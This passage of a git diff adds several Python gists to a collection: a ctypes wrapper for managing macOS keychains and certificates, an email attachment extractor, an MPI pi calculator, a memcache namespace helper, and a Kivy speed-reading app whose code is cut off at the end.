+# I don't use the pyObjC CoreFoundation import because it attempts to bridge between CF, NS, and python.
+# When you try to mix it with Security.Foundation (pure C / CF), you get nasty results.
+# So I directly import CoreFoundation to work with CFTypes to keep it pure of NS/python bridges.
+CFoundation = CDLL('/System/Library/Frameworks/CoreFoundation.Framework/Versions/Current/CoreFoundation')
+
+class OpaqueType(Structure):
+    pass
+
+# Combined with the above, this is essentially an opaque wrapper around pointers to various
+# data types. Just enough syntactic sugar to keep python from bugging out with raw C pointers.
+OpaqueTypeRef = POINTER(OpaqueType)
+
+# Per <sys/param.h> and <sys/syslimits.h>
+MAXPATHLEN = 1024
+
+# Setting the return type to one of our opaque pointer wrappers so python doesn't bug out.
+CFArrayCreate                     = CFoundation.CFArrayCreate
+CFArrayCreate.restype             = OpaqueTypeRef
+CFArrayCreateMutable              = CFoundation.CFArrayCreateMutable
+CFArrayCreateMutable.restype      = OpaqueTypeRef
+CFArrayGetValueAtIndex            = CFoundation.CFArrayGetValueAtIndex
+CFArrayGetValueAtIndex.restype    = OpaqueTypeRef
+CFDataCreate                      = CFoundation.CFDataCreate
+CFDataCreate.restype              = OpaqueTypeRef
+CFStringCreateWithCString         = CFoundation.CFStringCreateWithCString
+CFStringCreateWithCString.restype = OpaqueTypeRef
+
+CSSM_CERT_X_509v3 = 3
+CSSM_CERT_ENCODING_DER = 3
+
+kSecFormatUnknown = 0
+kSecItemTypeUnknown = 0
+kSecKeySecurePassphrase = 2
+
+kSecTrustSettingsDomainUser = 0
+
+# Per SecKeychain.h
+kSecPreferencesDomainUser      = 0
+kSecPreferencesDomainSystem    = 1
+# kSecPreferencesDomainCommon    = 2
+# Interestingly, https://developer.apple.com/library/mac/documentation/security/Reference/keychainservices/Reference/reference.html
+# also includes kSecPreferencesDomainAlternate and kSecPreferencesDomainDynamic.
+# However, kSecPreferencesDomainAlternate is not listed in SecKeychain.h, which means the header file disagrees with the
+# documentation on the enumeration value for the domains. In testing with SecKeychainCopyDomainSearchList, it doesn't recognize a
+# value beyond 3 - so that would seem to indicate the public documentation is wrong. Doesn't really matter since we don't
+# care about these two anyways - just something odd to note.
+
+class SecKeychainSettings(Structure):
+    pass
+
+SecKeychainSettings._fields_ = [
+    ('version', c_uint),
+    ('lockOnSleep', c_ubyte),
+    ('useLockInterval', c_ubyte),
+    ('lockInterval', c_uint),
+]
+
+class SecKeyImportExportParameters(Structure):
+    pass
+
+SecKeyImportExportParameters._fields_ = [
+    ('version', c_uint),
+    ('flags', c_uint),
+    ('passphrase', OpaqueTypeRef),
+    ('alertTitle', OpaqueTypeRef),
+    ('alertPrompt', OpaqueTypeRef),
+    ('accessRef', OpaqueTypeRef),
+    ('keyUsage', c_uint),
+    ('keyAttributes', c_uint),
+]
+
+class CSSM_DATA(Structure):
+    pass
+
+CSSM_DATA._fields_ = [
+    ('Length', c_size_t),
+    ('Data', c_void_p),
+]
+
+def safe_release(cf_ref):
+    if cf_ref:
+        CFoundation.CFRelease(cf_ref)
+
+def get_keychain_path(a_keychain):
+    path_length = c_int(MAXPATHLEN)
+    path_name   = create_string_buffer('\0'*(MAXPATHLEN+1), MAXPATHLEN+1)
+    result      = Security.SecKeychainGetPath(a_keychain, byref(path_length), path_name)
+    # We don't even need the path_length because path_name was made with the create_string_buffer
+    # helper, which has nice python bindings around C strings / auto detection for null termination
+    return path_name.value
+
+def resolve_keychain_name(keychain_name):
+    # Basically you open a reference and then resolve the path OS X is looking for it at
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    if not keychainRef:
+        # Weird, it couldn't resolve - this shouldn't happen
+        return None
+    # Get the path
+    keychain_path = get_keychain_path(keychainRef)
+    # Release the ref
+    safe_release(keychainRef)
+    return keychain_path
+
+def list_our_keychains(kDomain=None):
+    if not kDomain:
+        # Default to user domain
+        kDomain = kSecPreferencesDomainUser
+    keychain_paths = []
+    search_list = OpaqueTypeRef()
+    # Look up our list of keychain paths in the user domain, pass the results back in search_list
+    result = Security.SecKeychainCopyDomainSearchList(kDomain, byref(search_list))
+    # Return code is zero on success
+    if (result != 0):
+        raise Exception('Error: Could not get keychain search list for some reason')
+    # SecKeychainCopyDomainSearchList is pretty gross. It can return a single SecKeychainRef
+    # ... OR it can return a CFArray of them. So you have to check what you're getting.
+    if (CFoundation.CFGetTypeID(search_list) == Security.SecKeychainGetTypeID()):
+        # It's a SecKeychain, just get the path value directly
+        keychain_paths.append(get_keychain_path(search_list))
+    elif (CFoundation.CFGetTypeID(search_list) == CFoundation.CFArrayGetTypeID()):
+        # It's a CFArray of SecKeychains, gotta loop
+        count = CFoundation.CFArrayGetCount(search_list)
+        for i in range(count):
+            # Work with the items one at a time
+            a_keychain = CFArrayGetValueAtIndex(search_list, i)
+            keychain_paths.append(get_keychain_path(a_keychain))
+    return keychain_paths
+
+# >>> list_our_keychains(kSecPreferencesDomainUser)
+# ['/Users/mike/Library/Keychains/login.keychain']
+
+# >>> list_our_keychains(kSecPreferencesDomainSystem)
+# ['/Library/Keychains/System.keychain']
+
+def keychain_present_in_search(keychain_name):
+    # In the user domain
+    return resolve_keychain_name(keychain_name) in list_our_keychains(kSecPreferencesDomainUser)
+
+def set_keychain_search(keychain_list):
+    # In the user domain
+    # Note: SecKeychainOpen, by design, does not fail for keychain paths that don't exist.
+    # Keychains can be kept on smartcard devices that fall under the 'dynamic' domain
+    # in that they should be part of the search path, but aren't guaranteed to always be there.
+    # See: http://lists.apple.com/archives/apple-cdsa/2006/Feb/msg00063.html
+    # Also: Non-absolute paths are considered to be located (by SecKeychainOpen) in the
+    # ~/Library/Keychains path. This isn't really well documented by Apple.
+    problem = False
+    if not keychain_list:
+        # Need to create a blank list and set our search path to it.
+        search_arrayRef = CFArrayCreate(None, None, 0, CFoundation.kCFTypeArrayCallBacks)
+    else:
+        # One or more items. Need to create an array of them
+        search_arrayRef  = CFArrayCreateMutable(None, 0, CFoundation.kCFTypeArrayCallBacks)
+        for keychain_path in keychain_list:
+            # Set up a null pointer to store the ref at
+            keychainRef = OpaqueTypeRef()
+            result = Security.SecKeychainOpen(keychain_path, byref(keychainRef))
+            if (result != 0) or (not keychainRef):
+                # There was a problem, don't set any paths
+                problem = True
+            else:
+                # Append the keychain reference and release it
+                result = CFoundation.CFArrayAppendValue(search_arrayRef, keychainRef)
+                safe_release(keychainRef)
+    # Attempt to set the search paths
+    result = Security.SecKeychainSetDomainSearchList(kSecPreferencesDomainUser, search_arrayRef)
+    safe_release(search_arrayRef)
+    if (result != 0) or (problem):
+        raise Exception('Could not set the search path.', result)
+
+def add_keychain_search(keychain_name):
+    # In the user domain
+    if keychain_present_in_search(keychain_name):
+        # It's already there, just return
+        return
+    # Otherwise, need to add it to the search path - it'll go at the end
+    new_path_list = list_our_keychains()
+    # Remove it from the list
+    new_path_list.append(keychain_name)
+    # Set our search path to the new list
+    set_keychain_search(new_path_list)
+
+def remove_keychain_search(keychain_name):
+    # In the user domain, some safety to keep from removing a login keychain
+    if not keychain_present_in_search(keychain_name):
+        # It's not in the search path currently, so just return
+        return
+    full_name = resolve_keychain_name(keychain_name)
+    if (full_name == resolve_keychain_name('login.keychain')):
+        # Safety feature - don't want to remove the login keychain accidentally
+        return
+    # Otherwise, it is in the search path - need to remove it
+    new_path_list = list_our_keychains()
+    # Remove it from the list
+    new_path_list.remove(full_name)
+    # Set our search path to the new list
+    set_keychain_search(new_path_list)
+
+def check_keychain_status(keychain_name):
+    # In the user domain
+    # This is a higher level function the others rely on
+    # It checks availability of the keychain and, if available, current state
+    # Return value is a boolean tuple: (usable, unlocked, readable, writable)
+    status = [False, None, None, None]
+    # Get a keychain reference
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    if not keychainRef:
+        # Weird, it couldn't resolve - this shouldn't happen
+        return status
+    # Check on the status of the keychain
+    status_mask = c_uint(0)
+    result = Security.SecKeychainGetStatus(keychainRef, byref(status_mask))
+    if result == 0:
+        # Keychain is available and usable - now to unpack status_mask
+        # Quick hack:
+        # 1 = unlocked
+        # 2 = readable
+        # 4 = writable
+        # Format the integer into a 3 digit binary string ('000','001', etc), map True for 1 & False for 0 per digit,
+        # then reverse the order (so they're in order: 1, 2, 4)
+        status = [True] + map(lambda x: x=='1','{0:03b}'.format(status_mask.value))[::-1]
+    safe_release(keychainRef)
+    return status
+
+def keychain_available(keychain_name):
+    return check_keychain_status(keychain_name)[0]
+
+def keychain_unlocked(keychain_name):
+    # Hell, even the security tool won't tell you (directly) if a keychain is unlocked ...
+    exists, unlocked, readable, writable = check_keychain_status(keychain_name)
+    if not exists:
+        raise Exception('Error: No such keychain')
+    return unlocked
+
+def lock_keychain(keychain_name):
+    exists, unlocked, readable, writable = check_keychain_status(keychain_name)
+    if not exists:
+        raise Exception('Error: No such keychain')
+    if not unlocked:
+        # Already locked, no need to lock it again
+        return
+    # Ok, time to lock it
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    if not keychainRef:
+        # Weird, it couldn't resolve - this shouldn't happen
+        raise Exception("Error: Something odd happened that shouldn't.")
+    # Perform lock
+    result = Security.SecKeychainLock(keychainRef)
+    # Release the reference
+    safe_release(keychainRef)
+    # Report on the result
+    if result != 0:
+        raise Exception('Error: Non-zero return on lock ..?', result)
+
+def unlock_keychain(keychain_name, password):
+    # This is baby steps here. I'm not supporting, for instance, UTF-8 yet
+    exists, unlocked, readable, writable = check_keychain_status(keychain_name)
+    if not exists:
+        raise Exception('Error: No such keychain')
+    if unlocked:
+        # Already unlocked, no need to lock it again
+        return
+    # Ok, time to unlock it
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    if not keychainRef:
+        # Weird, it couldn't resolve - this shouldn't happen
+        raise Exception("Error: Something odd happened that shouldn't.")    
+    # Perform unlock
+    result = Security.SecKeychainUnlock(keychainRef, len(password), password, True)
+    # Release the reference
+    safe_release(keychainRef)
+    # Report on the result
+    if result != 0:
+        raise Exception('Error: Non-zero return on unlock ..?', result)
+
+def set_keychain_settings(keychain_name, sleep_lock=False, interval_lock=False, interval_time=2147483647):
+    # If you unlock the keychain before changing settings, you do not get prompted via GUI for non-root
+    # Setting the interval time to anything other than the default 2147483647 overrides/ignores any value
+    # for interval_lock and forces it to True.
+    exists, unlocked, readable, writable = check_keychain_status(keychain_name)
+    if not exists:
+        raise Exception('Error: No such keychain')
+    # Make our settings object
+    # Version number for settings is supposed to be '1'
+    settings_struct = SecKeychainSettings(1, sleep_lock, interval_lock, interval_time)
+    if settings_struct.lockInterval != 2147483647:
+        interval_lock = True
+    # Time to change settings
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    if not keychainRef:
+        # Weird, it couldn't resolve - this shouldn't happen
+        raise Exception("Error: Something odd happened that shouldn't.")
+    # Perform settings change
+    result = Security.SecKeychainSetSettings(keychainRef, byref(settings_struct))
+    # Release the reference
+    safe_release(keychainRef)
+    if result != 0:
+        raise Exception('Error: Something went wrong with that settings change', result)
+
+def get_keychain_settings(keychain_name):
+    # If you unlock the keychain before changing settings, you do not get prompted via GUI for non-root
+    # Results returned are: bool sleep_lock, bool interval_lock, int interval_time (in seconds)
+    exists, unlocked, readable, writable = check_keychain_status(keychain_name)
+    if not exists:
+        raise Exception('Error: No such keychain')
+    # Make our settings object, data to be filled in
+    # Version number for settings is supposed to be '1'
+    settings_struct = SecKeychainSettings(1, 0, 0, 0)
+    # Time to get settings
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    if not keychainRef:
+        # Weird, it couldn't resolve - this shouldn't happen
+        raise Exception("Error: Something odd happened that shouldn't.")
+    # Perform settings change
+    result = Security.SecKeychainCopySettings(keychainRef, byref(settings_struct))
+    # Release the reference
+    safe_release(keychainRef)
+    if result != 0:
+        raise Exception('Error: Something went wrong with that settings change', result)
+    # Apparently useLockInterval is always false. Whether it will lock or not is purely based on the timer value.
+    return (bool(settings_struct.lockOnSleep), settings_struct.lockInterval!=2147483647, settings_struct.lockInterval)
+
+def create_keychain(keychain_name, password, auto_search=True):
+    # The zero is for 'do_prompt' for password
+    # The None is for default access rights for the keychain
+    if not password:
+        raise Exception('Error: Password must be provided')
+    if keychain_available(keychain_name):
+        raise Exception('Error: Keychain already exists with this name')
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainCreate(keychain_name, len(str(password)), str(password), 0, None, byref(keychainRef))
+    safe_release(keychainRef)
+    if result != 0:
+        raise Exception('Error: Could not create keychain', result)
+    if auto_search:
+        add_keychain_search(keychain_name)
+
+def delete_keychain(keychain_name):
+    # For the time being here, dummy mode to keep from deleting login and System keychain
+    full_name = resolve_keychain_name(keychain_name)
+    if (full_name == resolve_keychain_name('login.keychain')):
+        return
+    if (full_name == '/Library/Keychains/System.keychain'):
+        return
+    keychainRef = OpaqueTypeRef()
+    # Always succeeds, safe to ignore result
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    result = Security.SecKeychainDelete(keychainRef)
+    safe_release(keychainRef)
+    if result != 0:
+        raise Exception('Error: Could not delete keychain', result)
+
+def keychain_import_cert(keychain_name, cert_path):
+    # WARNING - ROUGH CODE, NO ERROR HANDLING YET
+    # No trust model here, good for client certs - not for CAs
+    # Yay, it works! - Still need to add error checking and result checking
+    #
+    # Read in the cert_path first
+    cert_handle = open(cert_path, 'rb')
+    cert_data   = cert_handle.read()
+    cert_handle.close()
+    # Create a CFData reference with it
+    inData = CFDataCreate(None, cert_data, len(cert_data))
+    # Get the keychain ref
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    keyParams = SecKeyImportExportParameters(0,0,None,None,None,None,0,0)
+    keyParams.flags = kSecKeySecurePassphrase
+    fileStr  = CFStringCreateWithCString(None, os.path.split(os.path.abspath(cert_path))[-1], kCFStringEncodingUTF8)
+    dummyStr = CFStringCreateWithCString(None, "You should never see this, something went wrong.", kCFStringEncodingUTF8)
+    keyParams.alertPrompt = dummyStr
+    outArray = OpaqueTypeRef()
+    result = Security.SecKeychainItemImport(inData, fileStr, None, None, 0, byref(keyParams), keychainRef, byref(outArray))
+    # Cleanup
+    safe_release(outArray)
+    safe_release(fileStr)
+    safe_release(dummyStr)
+    safe_release(keychainRef)
+    safe_release(inData)
+    if result != 0:
+        raise Exception('Error: Error importing certificate into keychain', result)
+
+def keychain_add_trusted_cert(keychain_name, cert_path):
+    # WARNING - ROUGH CODE, NO ERROR HANDLING YET
+    # Yay, it works! - Still need to add error checking and result checking
+    # When used as a user in graphical mode - will cause a GUI prompt
+    # When used as root, for one of root's keychains - does not cause a GUI prompt
+    domain = kSecTrustSettingsDomainUser
+    trustSettings = None
+    keychainRef = OpaqueTypeRef()
+    result = Security.SecKeychainOpen(keychain_name, byref(keychainRef))
+    # Going to assume PEM file for now
+    certRef = OpaqueTypeRef()
+    # readCertFile(certFile, byref(certRef))
+    cert_handle = open(cert_path, 'rb')
+    cert_data   = cert_handle.read()
+    cert_handle.close()
+    if not (('-----BEGIN ' in cert_data) and ('-----END ' in cert_data)):
+        # isNotPem
+        raise Exception('Error: Certificate does not appear to be .pem file')
+    # Decode the base64 data
+    core_data = cert_data.split('-----BEGIN ',1)[-1].replace('\r','\n').split('-----\n',1)[-1].split('\n-----END ',1)[0]
+    core_data = ''.join(core_data.split('\n'))
+    pem_data  = create_string_buffer(base64.b64decode(core_data), len(core_data))
+    # Create the CSSM_DATA struct
+    certData = CSSM_DATA(len(pem_data), addressof(pem_data))
+    certRef = OpaqueTypeRef()
+    result = Security.SecCertificateCreateFromData(byref(certData), CSSM_CERT_X_509v3, CSSM_CERT_ENCODING_DER, byref(certRef))
+    # We're cooking with gas now
+    result = Security.SecCertificateAddToKeychain(certRef, keychainRef)
+    result = Security.SecTrustSettingsSetTrustSettings(certRef, domain, trustSettings)
+    safe_release(certRef)
+    safe_release(keychainRef)
diff --git a/hard-gists/9301467/._snippet.py b/hard-gists/9301467/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9301467/._snippet.py differ
diff --git a/hard-gists/9301467/snippet.py b/hard-gists/9301467/snippet.py
new file mode 100644
index 00000000..7e0904cc
--- /dev/null
+++ b/hard-gists/9301467/snippet.py
@@ -0,0 +1,41 @@
+#!python3.4
+import io
+import os
+import sys
+import mimetypes
+import uuid
+
+# Import the email modules we'll need
+from email import policy
+from email.parser import BytesParser
+
+myfiles = ['20140217-0121.eml.1c2dffd0',
+'20140217-0314.eml.14bac63d',
+'20140218-0722.eml.00fe7528',
+'20140219-0541.eml.74741be1',
+'20140219-0543.eml.1c20938f',
+'20140219-0608.eml.02af7d91',
+'20140219-0612.eml.0d9a2c0b',
+'20140224-2004.eml.6f36a877',
+'20140225-1702.eml.39a4225b']
+
+for filename in myfiles:
+    msg = BytesParser(policy=policy.default).parse(open(filename, 'rb'))
+    print('Processing %s' % (filename,))
+
+    for attachment in msg.iter_attachments():
+        fn = attachment.get_filename()
+        print('Attachment filename is %s' % (fn,))
+        if fn:
+            extension = os.path.splitext(attachment.get_filename())[1]
+        else:
+            extension = mimetypes.guess_extension(attachment.get_content_type())
+        f = io.BytesIO()
+        data = attachment.get_content()
+        with open(fn, 'wb') as f:
+            if isinstance(data, str):
+                # data is a string
+                f.write(data.encode('utf-8'))
+            else:
+                # data is bytes
+                f.write(data)
diff --git a/hard-gists/930276/._snippet.py b/hard-gists/930276/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/930276/._snippet.py differ
diff --git a/hard-gists/930276/snippet.py b/hard-gists/930276/snippet.py
new file mode 100644
index 00000000..855324c0
--- /dev/null
+++ b/hard-gists/930276/snippet.py
@@ -0,0 +1,78 @@
+"""
+
+This code computes pi. It's not the first python
+pi computation tool that I've written.  This program
+is a good test of the mpi4py library, which is
+essentially a python wrapper to the C MPI library.
+
+To execute this code:
+
+mpiexec -np NUMBER_OF_PROCESSES -f NODES_FILE python mpipypi.py
+
+where....
+
+NUMBER_OF_PROCESSES is the number of desired processes.
+NODES_FILE is a file which records the location of your nodes.
+
+""" 
+
+from mpi4py import MPI
+
+comm = MPI.COMM_WORLD
+rank = comm.Get_rank()
+size = comm.Get_size()
+
+slice_size = 1000000
+total_slices = 50
+
+# This is the main node.
+if rank == 0:
+    pi = 0
+    slice = 0
+    process = 1
+
+    print size
+
+    # Send the first batch of processes to the nodes.
+    while process < size and slice < total_slices:
+        comm.send(slice, dest=process, tag=1)
+        print "Sending slice",slice,"to process",process
+        slice += 1
+        process += 1
+
+    # Wait for the data to come back
+    received_processes = 0
+    while received_processes < total_slices:
+        pi += comm.recv(source=MPI.ANY_SOURCE, tag=1)
+        process = comm.recv(source=MPI.ANY_SOURCE, tag=2)
+        print "Recieved data from process", process
+        received_processes += 1
+
+        if slice < total_slices:
+            comm.send(slice, dest=process, tag=1)
+            print "Sending slice",slice,"to process",process
+            slice += 1
+
+    # Send the shutdown signal
+    for process in range(1,size):
+        comm.send(-1, dest=process, tag=1)
+
+    print "Pi is ", 4.0 * pi
+
+# These are the subordinate nodes, where rank > 0. They do the real work
+else:
+    while True:
+        start = comm.recv(source=0, tag=1)
+        if start == -1: break
+
+        i = 0
+        slice_value = 0
+        while i < slice_size:
+            if i%2 == 0:
+                slice_value += 1.0 / (2*(start*slice_size+i)+1)
+            else:
+                slice_value -= 1.0 / (2*(start*slice_size+i)+1)
+            i += 1
+
+        comm.send(slice_value, dest=0, tag=1)
+        comm.send(rank, dest=0, tag=2)
diff --git a/hard-gists/931406/._snippet.py b/hard-gists/931406/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/931406/._snippet.py differ
diff --git a/hard-gists/931406/snippet.py b/hard-gists/931406/snippet.py
new file mode 100644
index 00000000..197efd13
--- /dev/null
+++ b/hard-gists/931406/snippet.py
@@ -0,0 +1,54 @@
+# -*- coding: utf-8 -*-
+
+import memcache
+import random
+
+
+NS_KEY_RANGE_MAX = 1000000
+
+mc = memcache.Client(['127.0.0.1:11211'], debug=0)
+
+
+def clear_ns(ns):
+    mc.incr(_compute_ns_key(ns))
+
+
+def _compute_key(key, ns=None):
+    if ns:
+        return '%s_%d_%s' % (ns, get_ns_key(ns), str(key),)
+    return key
+
+
+def _compute_ns_key(ns):
+    return '%s_ns_key' % ns
+
+
+def get(key, ns=None):
+    return mc.get(_compute_key(key, ns))
+
+
+def get_ns_key(ns):
+    ns_key = mc.get(_compute_ns_key(ns))
+    if not ns_key:
+        ns_key = random.randint(1, NS_KEY_RANGE_MAX)
+        mc.set(_compute_ns_key(ns), ns_key)
+    return ns_key
+
+
+def set(key, val, ns=None, **kwargs):
+    return mc.set(_compute_key(key, ns), val, **kwargs)
+
+
+mc.flush_all()
+assert get('blah') == None
+set('blah', 2)
+assert get('blah') == 2
+
+assert get('blah', ns='foo') == None
+set('blah', 8, ns='foo')
+assert get('blah', ns='foo') == 8
+assert get('blah') == 2
+
+clear_ns('foo')
+assert get('blah', ns='foo') == None
+assert get('blah') == 2
diff --git a/hard-gists/9316552/._snippet.py b/hard-gists/9316552/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9316552/._snippet.py differ
diff --git a/hard-gists/9316552/snippet.py b/hard-gists/9316552/snippet.py
new file mode 100644
index 00000000..cd572ca7
--- /dev/null
+++ b/hard-gists/9316552/snippet.py
@@ -0,0 +1,397 @@
+# coding: utf-8
+# copyright 2014 tshirtman
+# distributed under the GPL licence
+
+from __future__ import division
+
+from kivy.app import App
+from kivy.lang import Builder
+from kivy.properties import ListProperty, NumericProperty, StringProperty
+from kivy.clock import Clock
+from kivy.config import Config
+from kivy.factory import Factory
+from ConfigParser import NoOptionError
+from os.path import join
+from epub2txt import dump
+import html2text
+
+__version__ = '0.1'
+
+Config.setdefaults('Kpritz', {
+    'speed': 260,
+    'lastbook': '',
+    'bg_color': '1 1 1 1',
+    'fg_color': '0 0 0 1',
+    'hl_color': '1 0 0 1',
+    'text_size': '100',
+    'default_path': '.',
+    })
+
+KV = '''
+#:import Factory kivy.factory.Factory
+#:import join os.path.join
+#:import abspath os.path.abspath
+#:import log10 math.log10
+#:import get_hex_from_color kivy.utils.get_hex_from_color
+
+<WordPart@ColoredLabel>:
+    size_hint: None, None
+    size: root.texture_size
+    font_size: '%dpt' % app.text_size
+    center_y: self.parent.center_y
+
+BoxLayout:
+    orientation: 'vertical'
+    word: app.text[app.position] if app.text else ''
+    index: int(log10(len(self.word) + 1) * 2.5)
+
+    FloatLayout:
+        id: label_container
+        WordPart:
+            x: center_label.x - self.width
+            text: root.word[:root.index] if app.text else ''
+
+        WordPart:
+            id: center_label
+            x: label_container.width / 3
+            text: root.word[root.index] if app.text else ''
+            color: app.hl_color
+
+        WordPart:
+            x: center_label.right
+            text:
+                (root.word[root.index + 1:]
+                if len(root.word) > root.index else '')
+
+    ColoredLabel:
+        text:
+            '%d / %d (%2d%%)' % (
+            app.position, len(app.text),
+            100. * app.position / len(app.text)) if app.text else ''
+        size_hint_y: None
+        height: self.texture_size[1]
+
+    BoxLayout:
+        size_hint_y: None
+        height: '30sp'
+        ImageButton:
+            source: 'open.png'
+            on_press: Factory.OpenFile().open()
+        ImageButton:
+            source: 'previous_sentence.png'
+            on_press: app.previous_sentence()
+            disabled: app.position == 0
+        ImageButton:
+            source: 'previous.png'
+            on_press: app.previous()
+            disabled: app.position == 0
+        ImageButton:
+            source: 'play.png'
+            on_press: app.play()
+            on_release: app.pause()
+            disabled: app.position >= len(app.text)
+        ImageButton:
+            source: 'next.png'
+            on_press: app.next()
+            disabled: app.position == len(self.text)
+        ImageButton:
+            source: 'next_sentence.png'
+            on_press: app.next_sentence()
+            disabled: app.position == len(self.text)
+        ImageButton:
+            source: 'faster.png'
+            on_press: app.speed += 10
+            disabled: app.speed == 990
+        ImageButton:
+            source: 'slower.png'
+            on_press: app.speed -= 10
+            disabled: app.speed == 10
+        Label:
+            text: '%3d wpm' % app.speed
+            size_hint_x: None
+            width: self.texture_size[0]
+
+        Button:
+            text: 'Aa'
+            on_press: Factory.TextSettings().open()
+
+
+<OpenFile@Popup>:
+    title: 'Select a file'
+    size_hint: .9, .9
+    BoxLayout:
+        orientation: 'vertical'
+        FileChooserListView:
+            path: app.default_path
+            id: fc
+
+        BoxLayout:
+            size_hint_y: None
+            height: '30sp'
+            Button:
+                text: 'open'
+                disabled: not fc.selection
+                on_press:
+                    app.open(fc.path, fc.selection[0])
+                    root.dismiss()
+            Button:
+                text: 'cancel'
+                on_press:
+                    root.dismiss()
+
+<PathSelector@Popup>:
+    title: 'Select a default path'
+    size_hint: .9, .9
+    BoxLayout:
+        orientation: 'vertical'
+        FileChooserListView:
+            path: app.default_path
+            id: fc
+
+        BoxLayout:
+            size_hint_y: None
+            height: '30sp'
+            Button:
+                text: 'select current dir as default path'
+                on_press:
+                    app.default_path = abspath(fc.path)
+                    root.dismiss()
+
+            Button:
+                text: 'cancel'
+                on_press:
+                    root.dismiss()
+
+<TextSettings@Popup>:
+    size_hint: .9, .9
+    title: 'text settings'
+    opacity: .8
+
+    GridLayout:
+        cols: 2
+        Label:
+            size_hint_y: None
+            height: '30sp'
+            text: 'text size'
+        Slider:
+            size_hint_y: None
+            height: '30sp'
+            min: 10
+            max: 500
+            value: app.text_size
+            on_value: app.text_size = self.value
+
+        Label:
+            text: 'background color'
+
+        ColorPicker:
+            color: app.bg_color
+            on_color: app.bg_color = self.color
+
+        Label:
+            text: 'foreground color'
+
+        ColorPicker:
+            color: app.fg_color
+            on_color: app.fg_color = self.color
+
+        Label:
+            text: 'highlight color'
+
+        ColorPicker:
+            color: app.hl_color
+            on_color: app.hl_color = self.color
+
+        Label:
+            size_hint_y: None
+            height: '30sp'
+            text: 'default path'
+        Button:
+            size_hint_y: None
+            height: '30sp'
+            text: app.default_path
+            on_press: Factory.PathSelector().open()
+
+        Widget:
+            size_hint_y: None
+            height: '30sp'
+            id: span
+            Button:
+                text: 'close'
+                pos: span.pos
+                size: span.parent.width, span.height
+                on_press: root.dismiss()
+
+<ImageButton@Button>:
+    source: ''
+    Image:
+        center: root.center
+        source: join('data', root.source) if root.source else ''
+        size: root.size
+
+<ColoredLabel@Label>:
+    canvas.before:
+        Color:
+            rgba: app.bg_color
+        Rectangle:
+            pos: self.pos
+            size: self.size
+    color: app.fg_color
+
+<ErrorPopup@Popup>:
+    title: 'unable to load book'
+    size_hint: .9, .9
+    message: ''
+
+    BoxLayout:
+        orientation: 'vertical'
+        Label:
+            size_hint_y: None
+            height: self.height
+            text_size: self.width, None
+            text: 'Error message was:'
+
+        ScrollView:
+            Label:
+                size_hint_y: None
+                height: self.height
+                text_size: self.width, None
+                text: root.message
+'''
+
+SENTENCE_END = ('.', '!', '?', '...', '…', ':')
+
+
+class Kpritz(App):
+    bookname = StringProperty(Config.get('Kpritz', 'lastbook'))
+    speed = NumericProperty(Config.getint('Kpritz', 'speed'))
+    bg_color = ListProperty(
+        map(float, Config.get('Kpritz', 'bg_color').split()))
+    fg_color = ListProperty(
+        map(float, Config.get('Kpritz', 'fg_color').split()))
+    hl_color = ListProperty(
+        map(float, Config.get('Kpritz', 'hl_color').split()))
+    text_size = NumericProperty(Config.getfloat('Kpritz', 'text_size'))
+    default_path = StringProperty(Config.get('Kpritz', 'default_path'))
+    text = ListProperty([])
+    position = NumericProperty(0)
+
+    def build(self):
+        root = Builder.load_string(KV)
+        if self.bookname:
+            try:
+                self.open('', self.bookname)
+            except IOError:
+                self.bookname = ''
+
+        return root
+
+    def save_position(self):
+        Config.set('Kpritz', self.bookname, self.position)
+
+    def open(self, path, filename):
+        if self.position:
+            self.save_position()
+
+        f = join(path, filename)
+        Config.set('Kpritz', 'lastbook', f)
+        self.bookname = f
+
+        try:
+            if f.endswith('.epub'):
+                self.text = dump(f).split()
+
+            elif f.endswith('.html'):
+                h = html2text.HTML2Text()
+                h.ignore_links = True
+                h.unicode_snob = True
+                h.ignore_images = True
+                h.ignore_emphasis = True
+                h.skip_internal_links = True
+                with open(f) as fd:
+                    self.text = h.handle(fd.read()).split()
+
+            else:
+                with open(f) as fd:
+                    self.text = [
+                        unicode(w, 'utf-8') for w in
+                        fd.read().split()]
+
+        except Exception, e:
+            p = Factory.ErrorPopup().open()
+            p.message = str(e)
+
+        try:
+            self.position = Config.getint('Kpritz', f)
+        except NoOptionError:
+            self.position = 0
+
+    def play(self, *args):
+        self._next()
+
+    def _next(self, *args):
+        if self.position + 1 < len(self.text):
+            self.position += 1
+            Clock.schedule_once(self._next, 60 / self.speed)
+
+    def pause(self, *args):
+        Clock.unschedule(self._next)
+
+    def previous(self, *args):
+        self.position -= 1
+
+    def next(self, *args):
+        self.position += 1
+
+    def previous_sentence(self, *args):
+        while True:
+            self.position -= 1
+
+            if self.position == 0:
+                break
+
+            elif self.text[self.position - 1].endswith(SENTENCE_END):
+                break
+
+    def next_sentence(self, *args):
+        while True:
+            self.position += 1
+
+            if self.position == len(self.text):
+                break
+
+            elif self.text[self.position - 1].endswith(SENTENCE_END):
+                break
+
+    def on_pause(self, *args):
+        Config.write()
+        return True
+
+    def on_resume(self, *args):
+        return True
+
+    def on_speed(self, *args):
+        Config.set('Kpritz', 'speed', self.speed)
+
+    def on_bg_color(self, *args):
+        Config.set('Kpritz', 'bg_color', ' '.join(map(str, self.bg_color)))
+
+    def on_fg_color(self, *args):
+        Config.set('Kpritz', 'fg_color', ' '.join(map(str, self.fg_color)))
+
+    def on_hl_color(self, *args):
